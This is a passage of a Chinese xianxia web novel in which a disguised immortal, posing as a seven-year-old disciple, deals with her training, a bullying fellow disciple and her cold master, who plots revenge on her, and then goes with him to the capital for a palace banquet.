“嗯?护教还没教她吗?”
少年执剑,从高处一跃而下,衣角翻涌似腾云,青容抬眸,便见此人生得丰神俊朗,风姿绰约,正是之前见过的师兄龚柏清。
“大师兄。”青容行了礼。
“我来教她吧。”龚柏清道。
陆怀夕一顿,登时叉起腰:“师兄这是不信我的剑术?”
“不是。”龚柏清无奈笑笑,“只是我使的应当更标准些,你不是主修药学吗?”
欧阳晔不知何时也靠了过来:“师兄还得看顾整个早习,怕是忙不过来,要不我来教?”
青容觉得头又开始疼了。
她这两个师兄一个师姐怎么一个赛一个热情?
况且她最怕有人盯着她练剑,在仙界时她便使剑,只表层剑招她也来来回回练了数千年,如今要装成一窍不
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通的模样本就艰难,更别提这么多人盯着她。
青容试探着问:“要不……我自己练?”
“不可。”三人异口同声。
“……”
最终,三人不顾她想法的商议了一番,决定由龚柏清代为传授。龚柏清本是练剑早习的领头弟子,的确是弟子中剑法最为标准之人,青容想拒绝也找不到借口。
她只能尽己所能装成笨手笨脚的样子,架着小一号的铁剑,东倒西歪。
“哈哈哈哈哈哈哈。”神识中的鎏虹已经开始肆意嘲笑,“容容你真的好努力,答应我以后用我的时候不可以这样,本仙剑怕被劈折了。”
青容嘴角抽搐,这些剑招虽然相对陌生,可一招一式的劲道简直是刻在肌肉记忆里,对于剑术炉火纯青的她此刻要假扮初学者,就像让人装作不会走路一样,格外艰巨。
幸好也没人特意去留心七岁的她是不是“深藏不漏”,大部分人看到她手忙脚乱时便已经移开目光,各藏心绪,少部分依旧对她感兴趣的,也都被欧阳晔公平地瞪了一眼。
“师妹,别管他们。”龚柏清轻轻捏着她胳膊替她调整姿势,“你刚刚入门,不会使剑很正常,这没什么,你若不嫌麻烦,今后晨练师兄都会来教你。”
那岂不是每次早课都要装一窍不通啊?
青容开始沉思要不要编造个理由,比如她儿时坠崖遇到世外高人教了她一套剑术云云,不过很快就有人替她解决这件事。
剑起时,一块不起眼的石子打向了她的支撑腿。
青容察觉到了,却没有理会,这种背地里的小动作她早有预料,只要不是太过分,她也懒得和他们计较,更何况师兄师姐都在这,她正好顺势卖个惨,博博可怜,指不定还再能骗点好吃的来。
只是她忽略了自己腿上本来的伤。
疼痛比她想象的要更猛烈些,她近乎是不用装便失去了重心,幸而龚柏清反应很快,立刻将青容揽住:“师妹?”
腿后阵阵酸疼,大概得青紫几天,木剑掉落在地,青容咬着牙,生理泪水都憋了出来:“师兄,有人偷袭我!”
她本就小小一团,此时眸含泪水,气鼓鼓的,格外遭人心疼,龚柏清只觉得心被狠狠一揪,那边的陆怀夕更是急匆匆跑过来:“师妹!谁欺负你了!告诉师姐,师姐给他扔泥里去!”
青容装模装样抹了下眼泪,刚准备朝石子打来的方向指,可话还没出口便被鎏虹打断:“等等,仙尊来了。”
嗯?谁来了?
远端白影恍然靠近,青容略微僵住。
下一刻,她被人不由分说直接从龚柏清身侧捞了起来,又被并不怎么温柔地抱在怀中,山泉冻雪般的淡香萦绕,冷而清冽。
身后是空的,青容本能扶住身前的肩膀,同时她听到齐齐的一声:“参见护教!”
多么威风啊。
所以能不能放她下来?她又不真的是七岁小孩,被当着这么多人的面拎在怀里,很尴尬哎。
“你腿受伤了。”慕砚恒却听不到她内心所想,只轻飘飘垂眸,眼中情绪不明。
“看来本君不在时,的确有人欺负你。”
5. 搞背德
话音落下,寂静许久,似乎听到了咽口水的声音,青容一顿,撑出个笑来:“无妨的师父,只是刚刚舞剑恰好没站稳,休息两天便好。”
本来也不是什么事,这小手段顶多让她摔一跤出个丑,纯粹小孩子玩闹,和欧阳晔差不多目的,但慕砚恒这个性子她实在担心会小事化大,反而让她得罪人可不好。
慕砚恒绝对是个不安好心的,她要给自己疏通人脉,共创和平门派!
受害者自己当起了和事佬,慕砚恒没有接话,只是瞥向了一个方位,视线落点正巧是刚刚偷偷投掷石子的弟子。
眼神分明是淡漠的,那弟子却早已吓傻,还没被指控便慌忙跪在地上:“弟子……弟子刚刚手滑了,这就给师妹道歉。”
“不妨事的师兄。”青容偏头对着那弟子一笑,眼睛亮晶晶的,“只是师兄下次不要手滑啦,石子打在身上会很痛,要几天不能走路的,这样我就不能和师兄师姐一起练剑了。”
她目前是临霜教中年纪最小的弟子,又生得漂亮可爱,眼中蓄了泪却还强装不疼,瞧着可怜又委屈,简直把弟子们的怜悯之心揪出来搅来搅去,尤其本来有点坏心的,都恨不得痛骂自己简直不是个东西。
“啧……”鎏虹发出难以置信的感慨,“容容你还有这楚楚可怜的一面呢,我要是你师兄我都抽自己大嘴巴。”
这身体没有修为内功,暂时不能心语,青容只能装没听到,保持着她灿烂童真的笑容,同时轻轻揽住慕砚恒的肩膀防止被这阴晴不定的人突然扔下去。
“妨不妨事,却不是这么说说就能定的。”
慕砚恒倒没在意青容的小动作,他只淡淡瞥着跪在地上的弟子,哪怕怀里抱着个小孩,也不影响他周身的冷若冰霜:“身为师兄,对自己的师妹暗下毒手,若你在临霜教学到的就是这些,那也不必再留在这里。”
言外之意,若再犯,就是要驱逐出仙门了。
一片死寂,那弟子脸色铁青,其他人也都不敢多言,只是都暗自在心里困惑——这种打闹什么时候够得上驱逐仙门这么严重的处理了?看来护教果然看中他的小徒弟,甚至已经看中到了蛮不讲理的地步,生怕伤着磕着一丁点。
这才收了多久啊就这么夸张?小师妹是救了护教的命吗!
慕砚恒看也不看这些明显各怀心事的沉默,他轻飘飘抱着青容御剑而起,回了栖星阁主殿,将青容放在卧榻上,准备掀她裤腿查看伤势。
这才刚开始养,可不能缺胳膊断腿了,小孩就是麻烦,脆弱的很,一刻不看着就得闹出事来,看来他还得再花些心思把她教得强大些,起码不能任由别人欺负了去。
要一朝坠落泥潭,总要先好好的捧起来。
慕砚恒紧邻青容而坐,只是指尖还没碰到衣料,青容却本能一缩,避开了慕砚恒伸来的手。
她看到慕砚恒清俊眉宇间一闪而过的莫名其妙。
青容面色不变,心里却火烧火燎的——她毕竟不真的是小孩,由着个男人给她脱裤子脱鞋,总归是怪异,尤其此人还是天枢仙尊,哪怕换个真正的大夫来也比现在要能接受。
然而她在旁人眼中依旧是七岁孩童,这种瑟缩被理所当然当成了害怕,慕砚恒面上虽一如既往的冷漠,但语气已经稍稍柔和了些:“给你看伤而已,不会疼。”
完了,被当成怕疼了。
只是言语虽温和,手上动作却十分不留余地,脚腕忽的被紧紧扣住,青容挣扎了一下没挣动,干脆撂挑子不干由着去了。
爱咋咋的吧,演累了,休息会。
裤腿掀开,小腿竟已呈片片乌青,想必原本就带着伤,刚刚算是顺手被加重,慕砚恒微微蹙眉,声线清冽又低沉,带着几分质问:“何时受的伤?怎的不说?”
青容轻呵一声:“师父您伸脚把我绊个跟头的时候,也没考虑过我会不会受伤啊。”
“……”
慕砚恒罕见噎住。
难得把仙尊怼得哑口无言,青容心情十分不错,但转念一想,此人以后还得攻略,这么多年又要朝夕相处的过,可不能把关系搞太僵,于是她又生硬地补充了一句:“师父想必有自己的考量,这点伤不算什么,还可以正常练剑的。”
哪有师父不喜欢勤奋向上的弟子,这么说应当是对的。
慕砚恒果然没说话,药瓶出现在掌心,他慢吞吞将药粉撒在乌青处,药粉很是清凉,疼痛也舒缓些许,就是有点痒,青容屏着呼吸忍着没动,殿内一时只有轻轻敲击药瓶的叮咚声。
药上好的一瞬,她立刻将腿抽回,也顾不上鞋底似乎蹭到了慕砚恒的衣角,心一横,终于豁出去似的道:“师父,以往入门考核是考哪些?”
慕砚恒掐诀净衣的手势一顿:“怎么问这些?”
“不堂堂正正考进来的话,总是要被人瞧不起,今天师父也看到了。”青容喋喋不休,一副身家性命危在旦夕的样子,“师父总有不在的时候,万一有人偷偷给徒儿下黑手,徒儿这么脆弱,胳膊折了腿折了可得休养很久,不如一劳永逸。”
既可以杜绝今后的麻烦,也可以刷一下慕砚恒对她的好印象,一举两得。
慕砚恒淡淡看着她,轻飘飘道:“没有单独考核这一说法,你也不需要再考,只需好好修习,待两年后仙门大比一骑绝尘,自不会再有人看轻你。”
“……”
怎么还突然要她一骑绝尘了呢?
这厚望是不是也给予的忒多了些?
“两年时间,啊呵呵……”青容干笑,“这个……是不是太紧促了些?”
哪怕她外家功夫尚在,但内修的修习绝不是一朝一夕的事,哪有两年时间吊打整个仙门的道理?慕砚恒自己都做不到吧。
所幸慕砚恒暂时也没太为难她:“无妨,两年尚远,先修习着便是,为师过些时日得去一趟凡间,你有事直接找你师兄师姐。”
“师父去凡间做什么?”
慕砚恒似是默然了一瞬,想着不是什么大事,最终也没有隐瞒:“皇家宴席而已,每年春节前夕都会举办。”
哦对,险些忘了,慕砚恒不仅是仙门的天才,还是凡间的皇叔,这年纪轻轻的,辈分都要跨到祖宗了。
青容眨巴眼,盯着慕砚恒那张令人赏心悦目的俊脸,实在不像祖宗辈,她忍不住道:“呃,冒昧问一下,师父今年贵庚?”
“十六。”
“……”
瞧着比仙界那帮六千岁的还要深沉。
“我能和师父一起去吗?”她又道。
毕竟按照慕砚恒的劫数,她将来还得成为皇后,那她总有权先看一看她未来夫君是个什么人吧?
一个皇帝被自己皇叔扣个绿帽子也怪惨的,先提前视察慰问一下。
慕砚恒静默着,霁蓝瞳孔深邃冷漠,像是一片无垠的深海:“你的腿伤了,还要去凡间?”
没有直接拒绝,青容登时抓住机会:“不碍事,徒儿实在好奇皇家宴席是什么模样,师父就带我去长长见识嘛。”
又是沉
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静片刻,慕砚恒依旧没有答复,像是在沉思什么,直到有人轻轻敲门:“师妹?师妹在休息吗?”
是她那二货二师兄的声音,青容立即垮了脸,这二货不会这种时候还要找她比剑吧?不过她师父还在这呢,岂容他放肆!
慕砚恒侧目,指尖微动,那门便自行打开,青容这才看到堵在门口的居然是三个人,她两个师兄一个师姐竟来齐了,各自手中拎着盒子,活像来送礼的。
三人手忙脚乱拎着七八个盒子,看到房内竟然还站着个慕砚恒,都是一愣,连忙恭恭敬敬行礼,然而手上东西实在太多,这礼行的实在不太美观。
慕砚恒倒也不在意,只是微微点头,趁此缓步离开,自动忽略了青容的请求。青容嘟嘟嘴,心道仙尊这种骨头果然难啃,还得慢慢磨。
三人目送慕砚恒的身影远去,这才凑进来,将盒子接二连三放在桌上,青容好奇地眨巴眼:“这些是什么?”
“吃的啊,你不是说以前很少吃东西吗?”陆怀夕将食盒打开,里面果真是糕点和果干,“这些都是弟子居的,上次忘了问你喜欢吃什么,干脆都拿了点。”
青容登时眼睛放光,仙人辟谷无需进食,专心练剑之余也鲜少有口腹之欲,但现在下了凡,才知道原来吃饭是那么幸福的事,以前只顾着修习真是太蠢了!
“谢谢师兄师姐。”她将果干放入口中,抬眸一笑。
龚柏清也跟着轻笑:“爱吃就好,师妹的伤怎么样了?”
“师父替我上了药,没什么大碍,修养几天就好,那个欺负我的师兄现在如何了?”
龚柏清还未回答,欧阳晔便抢先道:“以伤害同门为由,被司教惩戒十鞭,废半数修为,禁足三月,罚的蛮重的,护教很看中你,大概是杀鸡儆猴,防止你今后再被人欺负了去。”
青容瞥他一眼,非常耿直:“可第一个欺负我的人分明是师兄。”
“……”
欧阳晔干笑两声,小心翼翼递了个盒子过去:“之前是师兄下手没轻没重,这不是买了个礼物给师妹道歉吗?”
“嗯?”青容接过那小木盒,缓缓打开。
是一个小孩玩的拨浪鼓。
“喜不喜欢?”
“……”
别说她的年龄是假的了,就算是真的七岁小孩,谁还喜欢这个东西?
她咬牙切齿:“多谢二师兄,这个……很别致。”
“喜欢就好。”欧阳晔龇着牙,“对了,护教有没有教你吐纳啊?剑法有大师兄带你,内功修习可不能落下。”
这倒真还没有,慕砚恒收她之后就不管她了,就跟捡她回来玩似的,不过按照慕砚恒那奇怪的性子倒也正常,一时兴起收个徒嘛,自然也不会用心。青容一边吃果干一边摇头。
龚柏清道:“护教近期不怎么出现,大概最近有些忙碌吧。”
“可内功修习不能耽搁啊,少练一天都很可惜的,要不我先来教你基本吐纳?”欧阳晔神情中带了些期待,似乎已经迫不及待要和她再打一架。
龚柏清正色:“你别胡来,内功修习的起步时期只能一个人教,难道你想顶掉护教的位置?”
青容一顿,登时愁云惨淡。
合着不是挂个师徒名义,是真得要慕砚恒教啊?
这么个真正传道受业解惑的高冷师父,她要背着皇帝和他搞背德……
罪过,太罪过了,但因为必须是她主动以下犯上,所以甚至分不清是谁罪过。
造孽啊!
6. 拿捏
好不容易挨完了师兄师姐的一顿关心,青容揉了揉酸痛的眉心,在前院慢悠悠晃悠。
栖星阁位于临霜教制高点,可在云雾缭绕中将整个仙门一览无余,风景十分不错,青容刚刚吃的有点饱,正好走一走消食。只是这栖星阁向来不是什么热闹之地,属实不算大,没走几步她就撞上了慕砚恒。
慕砚恒像是没看到她,年轻的仙门护教英俊清冷,立于云雾微风中宛若谪仙,左手执弓,右手捏弦,他指尖一松,看似不起眼的箭矢便呈破空之势,钉在了青容上方的横梁木上。
灰尘和木屑飘落在头顶。
青容:“……”
在仙界的时候,慕砚恒的武器便是弓,一手冰玄弓以百发百中与出其不意著称,现在历劫时期居然也没变——太出其不意了,这但凡手一抖,她也别帮着历劫了,直接魂归故里拉倒。
不过有一说一,慕砚恒拉弓时这风姿确实养眼,比旁人使剑还要好看的多,又有力量又有美感,还有种不顾他人死活的蔑然。
“不和你师兄师姐诉苦了?”慕砚恒依旧没正眼看她,他又拿出了新的箭矢,置于弓弦上。
“没有诉苦。”青容本就是小孩模样,抬眸间竟瞧着有些委屈,“只是师父不教我内功,师兄说内功修习不能耽搁的,徒儿就有些急切。”
她的确很急,仙门的外家功夫于她而言无所谓修炼,但内息她是一点没有啊,慕砚恒看着就不是什么经验丰富的好师父,偏偏这东西还必须靠他教,那就只能由她暂时放低姿态,起码先骗点秘籍来。
也不知慕砚恒听到了没,他再度拉开弦,似乎全心全意都放到了弓箭上。少年身量颀长,衣袂翻涌,身姿实在好看,饶是因为历劫的麻烦事,青容有些讨厌慕砚恒,却也不自觉定住视线,带了些欣赏的意味。
也就幸好天枢仙尊长得好看,这情劫助力还不算太难以接受,要是换个丑的让她帮忙历情劫,那可比九九八十一道雷刑还要残酷。
她忽的想到了个没素质的坏点子,悄悄缓步行至慕砚恒身后,慕砚恒自然有所察觉,但也不会提防一个不及自己腰高什么修为都没有的小孩,青容得以顺利靠近。
“师父啊……”慕砚恒听到身后女孩软糯的声音,含着些许撒娇。
由任何人听来这样的呼唤,都会忍不住怜爱泛滥,慕砚恒却是神色漠然,头也不回:“先随你大师兄练剑,待时机成熟自会教你内功修习之法。”
一副捡来徒弟立志养废的样子,青容眼角一抽。
“不嘛。”她心一横,不怕死的绕到慕砚恒身前,狠下心抱住他的腿,“师父!我现在就想学!”
指尖一松,箭矢“嗖”的一声冲破云层,顷刻间消失,不知道飞去了哪。
慕砚恒微微蹙眉,垂眸看向自己腿上粘着的一滩徒弟,难得沉思。
他在思索,要不要还是直接杀了算了,这小孩养起来似乎还挺烦心,之前就扯他腰带,现在还搂他腿,再养几年不得翻天?
慕砚恒心中杀意飘忽不定,面上倒淡然,一副清冷仙君不可玷污的模样。青容并不知慕砚恒心中所想,只是见他定住,这法子似乎还有点效果,憋在心头的气也稍稍舒了些。
起码没把她一脚踹开。
“容容,你胆子太大了吧。”鎏虹也发出惊叹,“你居然敢直接抱他!太冒犯了,不,这叫冒失!现在什么感情基础都没有,好感还没刷呢,你不怕他直接把你劈死啊!”这可是披着仙人马甲的魔啊!
青容却格外平静,只是她身无修为,暂时无法心语告诉鎏虹一个既定的事实——她笃定慕砚恒不会。
慕砚恒已经收了徒并昭告仙门,她如今是临霜护教唯一亲传弟子,无论是突然消失还是死亡都必然引起轰动,慕砚恒就算有这个想法,也不会真的实现。
顶多在脑海里闪那么一下。
况且也不至于吧,她又没干什么惊天骇俗的事,慕砚恒就算再混账,也不至于真的对她动手,那不是滥杀无辜蛮不讲理吗。
而慕砚恒所想也的确和青容大差不差,一瞬间的冲动过后,只剩了一丝丝后悔和无奈。
既已将她带回仙门,如今杀起来的确不容易,算了,先养着吧,要想大仇得报,总要忍耐一些不起眼的小事。
片刻后,慕砚恒缓缓放下弓箭,他凝神瞧着正可怜兮兮抬眸看他的青容,终是暂时做出退让:“罢了,就先教你打坐调息,为师手中还有一些内功修习的秘籍,待你筑基后,得空给你几本。”
愿意搭理她了,这简直是巨大的突破!青容连忙点头,面上喜悦都不掺杂一点演的成分,非常真情实感:“谢谢师父,师父真好。”
慕砚恒毫不犹豫别开了目光,眸中没有一丝波澜,但终究没有把人推开。
之后的半月,慕砚恒的确教了她些基础调息的口诀招式。因为腿部受伤的缘故,她清晨也没有再去练剑,便专心致志修习内息,丝毫不松懈,想着起码要能和鎏虹心语交流才算初步成功。
没有足以自保的力量傍身,总觉得空落落的。
修炼起步本就艰难,慕砚恒似乎不是什么悉心教导的好师父,也可能是最近忙碌的缘故,基本不会主动寻她,她常常把自己关在房间内,一练就是一整天。
这半个月基本都是这么日复一日的过来,毫无乐趣和变动,但在仙界时她也是这么个近乎痴狂的修炼法,如今在临霜教好歹还有师兄师姐偶尔来找她,倒也谈不上什么无聊寂寞。
直到有一日,她从弟子居带着两馒头回来时,看到慕砚恒正提着剑,青丝半披由发簪束起,着一身同仙门有些格格不入的锦服,齐整又飒爽,似是要出行。
她立刻猜出缘由:“师父要去宴席吗?”
慕砚恒瞥了她一眼,没有否定,也没有叮嘱她的意思。
这是多么冷漠,多么不近人情!好像她这个徒弟就是捡来帮他浇花的!青容暗道不能如此,修炼之余也得想一想如何拉进和慕砚恒的关系才是,七岁这个年纪怎么做都算小孩心性,等
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后面长大了,像之前那样抱腿怕是要直接被甩到崖底去。
趁年纪小,她必须把握好每一个撒泼的机会。
“我的腿已经好了,我想和师父一起去。”她果断道。
不出所料,慕砚恒毫不留情:“不行。”
“为什么?”还没待慕砚恒再次否决,她忽然将眼眶中蓄了泪,声音微颤,“师父是不是根本就不关心徒儿?”再猛然一抽泣,丢掉馒头,一把抓住慕砚恒的外袍衣袖,还故意拽了两下。
慕砚恒准备施法御剑的手僵在半空中。
“徒儿这些时日记着师父给的寥寥几句口诀独自修炼,只想着早日突破,在两年后能一骑绝尘博得师父开心,但师父始终不来主动问一问徒儿修炼得如何,更不知道徒儿险些走火入魔,如今宴席也是独自前去,留徒儿一人在栖星阁,不知何时归来,徒儿才七岁,心灵十分脆弱,需要师父多陪陪!”
慕砚恒:“……”
少年护教大概鲜少有被人这么一大段话轰炸的经历,偏偏这人还是他自己的徒弟,也不能让闭嘴,也不能转身就走,他绷着脸硬生生听完了这一大段诉讼,默然半晌才幽幽开口:“你……可以喊你师兄他们来陪你。”
“可徒儿只想要师父陪。”
“……”
慕砚恒再次沉默了,面上少见的出现不易察觉的迷惘之色。
他的目的是狠狠报复,是让云端之上的人跌落泥潭,一朝失去所有。那么首先他得先把人捧到云端上,要让她感受到世间的温暖,让她以为他很关心爱护她。
可从没人告诉他,养小孩会是这么一件麻烦事,不止要教,还得要哄。
简直是给自己挖了个坑。
见撒泼似乎奏效,青容心一横,果断蹿到慕砚恒身前,眼睛极亮,因含泪的缘故更加水汪汪:“师父就带我去吧,我想看看那些有钱人的宴席,保证不添乱,好不好?”
慕砚恒将衣袖从她手中抽出,面色比上刀山下火海还要严肃几分,青容保持着期待的眼神,抬眸和慕砚恒对视。
鎏虹大概已经没眼看了,声都没出,世界一片寂静,只有别院的流水潺潺声。
稳住,一定得稳住,都演到这份上了,可不能最后崩掉。
云雾中,少年和女孩对峙住,像是定格在一副山水画中,少年眸光暗沉而深邃,如望不到底的深渊。
也不知僵持了多久,终于,她看到慕砚恒的嘴唇微动。
“那就去吧。”顿了顿,他又补充道,“跟紧为师,不许乱跑。”
青容心头一喜。
她本来就很想去凡间的宴席,仙界的宴会她因资历不够,很少有机会参加,近年来辛苦修炼也没机会去凡间凑热闹,如此公办私事还能拉近距离,真是再好不过。
青容没打算掩盖这份喜悦,慕砚恒自然也能轻易瞧出,他一如既往只是静静看着她,眸中依旧晦暗不明,但阴霾已经不知不觉消散些许。
哄小孩似乎也没那么难,他想。
7. 喧嚣
接近新年,京城比往日还要热闹些,尽是熙来攘往,车马骈阗。前遮后拥的喧闹声中,路过的一辆不起眼的简朴马车自然也无人在意。
青容就靠车厢里,本来打算闭目养神睡过去,结果被周围喧闹硬生生吵醒了,此时昏昏沉沉的,还有些分不清今夕何夕,直到睡眼惺忪瞄到了慕砚恒,才算是清醒一些。
皇家和修仙门派关系还算和睦,平日里大家各忙各的互不干扰,但这里到底是京城,不可能任由修士御剑在这里窜来窜去,吓都能把人吓死。于是京城内不得御剑一直是大家心照不宣的规矩,作为仙家门面的临霜护教,慕砚恒再嚣张,这一点也还是遵守的。
在入京之前,他们便上了马车,最近修炼本来就累,又一路御剑吹风,青容不知道自己是什么时候睡过去的,反正慕砚恒也没管她,要不是这周围太吵,她觉得自己指不定能一路睡到进宫。
慕砚恒坐在她对面,一只手搭在膝上,另一只手捧着不知道什么书,似是看得入神,完全不受周遭影响。这一身墨蓝锦服套在他身上,多了华贵却少了以往的仙气,更显得他神色冷肃,不近人情,比雕像还雕像。
她裹了裹自己身上保暖的淡黄色披风衣裘,暗自叹气,明明才十六岁,这人身上怎么一点少年气都没有,天气本来就冷,还非要再来点冰渣子雪上加霜,这冰可怎么捂哦,头疼。
大概是余光注意到青容动了动,慕砚恒瞥过去一眼,青容出神间和他视线相撞,忙不迭收回目光,因为冷的缘故,整个人在裘衣内裹成小小一团,瞧着格外可怜,不知道的还以为是被绑架来的千金小姐。
因为要出席宴席,自然不能穿弟子服去,陆怀夕临行前给了她挑了一套合体的衣服。临霜教鲜少有这么小的女弟子,因此衣服也只能临时找,以至于不算多么华丽好看,大约是裁缝店常驻门面水平。
但她这张稚嫩的脸实在漂亮可爱,干干净净的,眼睛极亮,若不是出身富贵,绝对养不成这么好。
车厢内安静的出奇,青容清晰听到了自己肚子咕噜噜的声音,她又看了慕砚恒一眼,小心翼翼从自己怀里取出一个绣囊。
这是她大师兄给她的乾坤囊。确定随慕砚恒出行后,慕砚恒给了她一个时辰收拾,于是她两个师兄一个师姐简直比儿行千里母担忧还要忧,恨不得把什么东西都给塞进乾坤囊。
“出去一定要跟紧护教。”
“一定要听护教的话,凡间乱的很,不能乱跑。”
“千万注意安全,你长得这么可爱,陌生人给的糖千万不要吃!”
青容:“……”
她都几千岁的人了,听着三个十几岁的人老妈子似的对她絮絮叨叨,一个头两个大,好不容易熬到现在,又得对着慕砚恒那张冷脸,头得变成六七个大。
鲜花饼放入口中,满腔香味,青容心情才算好了些。外面实在吵闹,她忍不住掀开车帘,小身板艰难地站起来往外瞧,眼睛不自觉亮了亮。
她从未来过凡间的京城。
相比于那些动不动下凡,说是历练实则游玩的仙君,她还是更偏向闷声修习,因此一直都是婉拒邀约,从未玩乐过,此时陡然看了这么一眼,才明白为什么那些仙君致力于流连凡间。
对比之下,原来仙界那么冷清,怪不得一帮仙君天天憋出屁似的往外窜。
“给你的东西背下来了?”慕砚恒的声音拉回了她的思绪。
青容还是舍不得放下车帘,回头笑了一下:“背下来了师父。”
下山前慕砚恒给了她张纸,上面乱七八糟全是宫里的规矩,只不过是简化版,相比于动辄一整本的秘籍,这点东西背着也不难。
慕砚恒眸中闪过一丝惊讶,只是语气依旧淡漠:“那字你都识得?”
“自然……”脱口而出后,青容便是一僵,“认识……吧?”
她好像把这茬忘了。
那些字虽不生僻,但也不是七岁的小孩能够完全认识的。慕砚恒让她背,她记忆力一向不错,出行前瞄了两眼已经记得差不多,就没有再看。
于是在慕砚恒眼中,她大概是偷懒一路的,刚刚那句话或许本来想呛她来着,她被车外繁华迷了眼,脑子一时没反应过来。
“呃……临行前问了大师兄,师兄解释了一番,徒儿差不多也能记全。”
慕砚恒果然不说话了,眼神淡淡的,不知道在想些什么。
青容有点心虚,怕他再生疑,又道:“师父,纸上说皇宫方圆三里内,除军官外不可行车马,这里实在热闹,徒儿想提前下车,就……随便看看。”
她的确想看看这人间繁华,也能借故转移一下话题,顺便暗示慕砚恒她的确背完了,小小的要一下奖励。
小孩子贪玩很正常,这点倒是在慕砚恒预料之内,他似乎也没打算拒绝:“那就去吧。”
答应这么快?青容反倒愣了,隐隐有种不好的预感:“那师父……一起吗?”
“为师不想走路。”
“……”
果然,就不能指望这人良心发现。
青容嘟嘟嘴,来都来了,她几千岁的人总不至于在皇城脚下迷路,反正慕砚恒已经同意她也不算抗命,当即把师兄的嘱咐抛之脑后。她用脆生生的嗓音喊车夫停车,而后在慕砚恒的凝视下掀开车帘,毫不犹豫蹦了下去,险些闪了个趔趄。
一个打扮漂亮的小孩从马车上慢悠悠掉下来,登时吸引了一众目光,青容也不尴尬,冲他们咧嘴一笑,惹得许多人忍不住惊叹:“哇,好可爱的小孩!”
“哪家的小孩这么好看?”
“王孙贵族来赴宴的吧,近日宫内不是要开宴?”
“哎哎!那小孩注意些,这里人多,不要摔倒啦。”
外面越热闹,越显得马车内格外沉闷,手中书卷被缓缓放在一旁,墨发披散双肩,慕砚恒的脸色有些阴沉,他盯着那小小的背影,冷哼一声。
她还真敢去?
眼见那头,青容微笑着挤在人山人海中自顾自溜达,摊贩叫卖得更加卖力,一旁喷火表演的火焰似乎也更烫了些,青容好奇张望,时不时鼓个掌,倒真像出来游玩的富家千金,看似没心没肺的,也不害怕更不害羞,鎏虹忍不住提醒:“容容,你就这么走了,不怕仙尊生气啊。”
“我注意着呢,别担心。”半月的修炼,她已经能做到同鎏虹心语,“我哪有这么傻,他要是下车来跟我,我就顺势逛一逛,他要是转头就走,我再追回去,这里人很多,马车走不
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了太快。”
慕砚恒不可能真丢了她,这是百无一失的心理博弈,但这么博的意义……
试探甚至是次要的,在仙界闷了千年,最近又一直被历劫的事压着心头,累得慌,她确实太想逛一逛了,下次下山还不知道是什么时候呢。
她还是谨慎的,脚步很慢,走一步停三步,一直在注意马车那的情况,终于,她捕捉到车轮滚动的吱呀声。
与此同时,也听到了周围人压抑的惊呼。
“好俊的公子!”
本就喧闹的街头更是躁乱了些,青容便猜到是慕砚恒下了马车,且靠着脸引起轩然大波,她装作听不到周围异动的模样,继续自顾自往前走,只是脚程快了些许。
身后人也跟了上来,不远不近,始终保持七八丈的距离,没有喊她,也没有斥责她回去。
居然这么顺利?这倒是出乎青容的预料。
她以为按照慕砚恒的性子,下马车已经是极致的退让。本打算若慕砚恒没跟上来,她就只在附近随便看看,然后便转身回去,毕竟刚刚起步,没有人会惯着和自己不熟悉的人乱折腾,尤其是慕砚恒,早在下车之前,她就已经列好无数打算。
却没想到慕砚恒居然真的就这么跟着她走。
转性了?脑子坏掉了?青容十分不解,干脆给自己买了个糖人,塞到嘴里,一边吃,一边继续观察情况,随时准备跑回去顺毛。
而在青容看不到的地方,慕砚恒微微蹙眉,摩肩接踵的街头,有人路过无意中蹭到他的衣角,他却难得没有顾及。
他内心正冰火两重天,一面觉得这小孩实在太烦,思索着能不能在御剑回程中直接除掉,一面又逼迫自己冷静,这徒弟已经收了,计划便不容更改,否则反反复复更是麻烦。
要先对她好,然后再破灭,这才足够狠毒,否则复仇有什么意义?他都忍了好几回了,也不差这一回。
于是他咬牙跟了上去,装作一副宠溺徒弟的温和好师父模样,也就幸好青容没真的回头去看,否则那面上的阴沉怎么扯也扯不上“温和”两字。
两人各怀一沓子心思,并不知道对方的心思一样多。
青容时刻要注意身后的动静,眼睛还瞄着两侧小摊,便难免走路分心些,这街头人实在太多,有个人的胳膊无意间撞到了她的头,又险些把她挤摔倒,糖人也差点掉在地上。
“哎呦!不好意思!你没事吧小姑娘?”那人见是个小女孩,急忙弯腰扶着她的肩膀道歉。
对于无意行为,尤其这种态度优良的,青容倒不是什么睚眦必报的人,这一下撞的也不重,应当是不小心,她没有计较,甚至回了个轻笑:“无妨的叔叔。”
皇城脚下,她又身份特殊,还得刷良好形象,这一下虽说撞的有点疼,但已然道歉,她也不会多说什么。
可是有人计较。
“砰”的一声闷响,青容甚至没来得及反应过来发生了什么,就看到刚刚撞到她的人陡然飞了出去,重重砸在地上,滚了几圈才算停下,直接摔了个半死不活,也不知缺胳膊断腿没。
人群慌忙散开,留下一片避之不及的空地,刚刚的喧闹瞬间消散,寂静到仿佛入了另一个世界。
鸦雀无声。
8. 皇宫
墨蓝色的衣袖如寒夜般掠过她身侧,带起一阵凛冽的霜风,甚至盖过了附近桂花糕的甜味,她微微惊愕,脱口而出:“你……这是做什么?”
突如其来的动手,谁都能瞧出这一下着实不轻,饶是她活了千年,这场景也实在是前所未见。
对于青容连称呼都忘喊的事,慕砚恒这回倒显得不那么计较,少年负手而立,面若冠玉,神色却冷冽如霜,只看一眼,便令人骨缝发凉。
“你看看你的乾坤囊还在不在?”他淡淡道。
愕然过后,青容稍稍缓过神,她一摸自己的腰间,当即再次怔住。
不在。
所以……刚刚那个人,是故意撞的她,然后把乾坤囊顺走了?
她还是头一遭被偷东西,脑子有点懵,少见的无言以对,慕砚恒冷哼一声,缓步上前,朝那人伸出手,语气淡漠却带着毋庸置疑的威压:“拿来。”
他的手骨节分明,白皙修长,显得斯斯文文的,丝毫不像握弓的手。刚刚那下着实狠了些,那人费了半天劲,才把乾坤囊递过去,也不知是不是摔岔了气,只瞪着眼睛,一句话也说不出来。
青容依旧静默着,直到慕砚恒将乾坤囊伸到她眼前,她慢吞吞接过,话音在喉咙里滚了两圈,才艰难地憋出一句:“……谢谢师父。”
“看好自己的东西。”他垂眸,面色清冷疏离,“与人为善是好事,但不是什么时候都要善。”
青容眼角一抽,这说的,跟她是傻子似的,要是早知道这人偷她东西,她也压根不会给好脸色啊!
但慕砚恒居然能说出“与人为善是好事”这种话,倒是出乎青容预料——慕砚恒本人简直和“与人为善”背道而驰,他到底是怎么有这种感悟的?这就是清醒的堕落,明知不可为而为之吗?
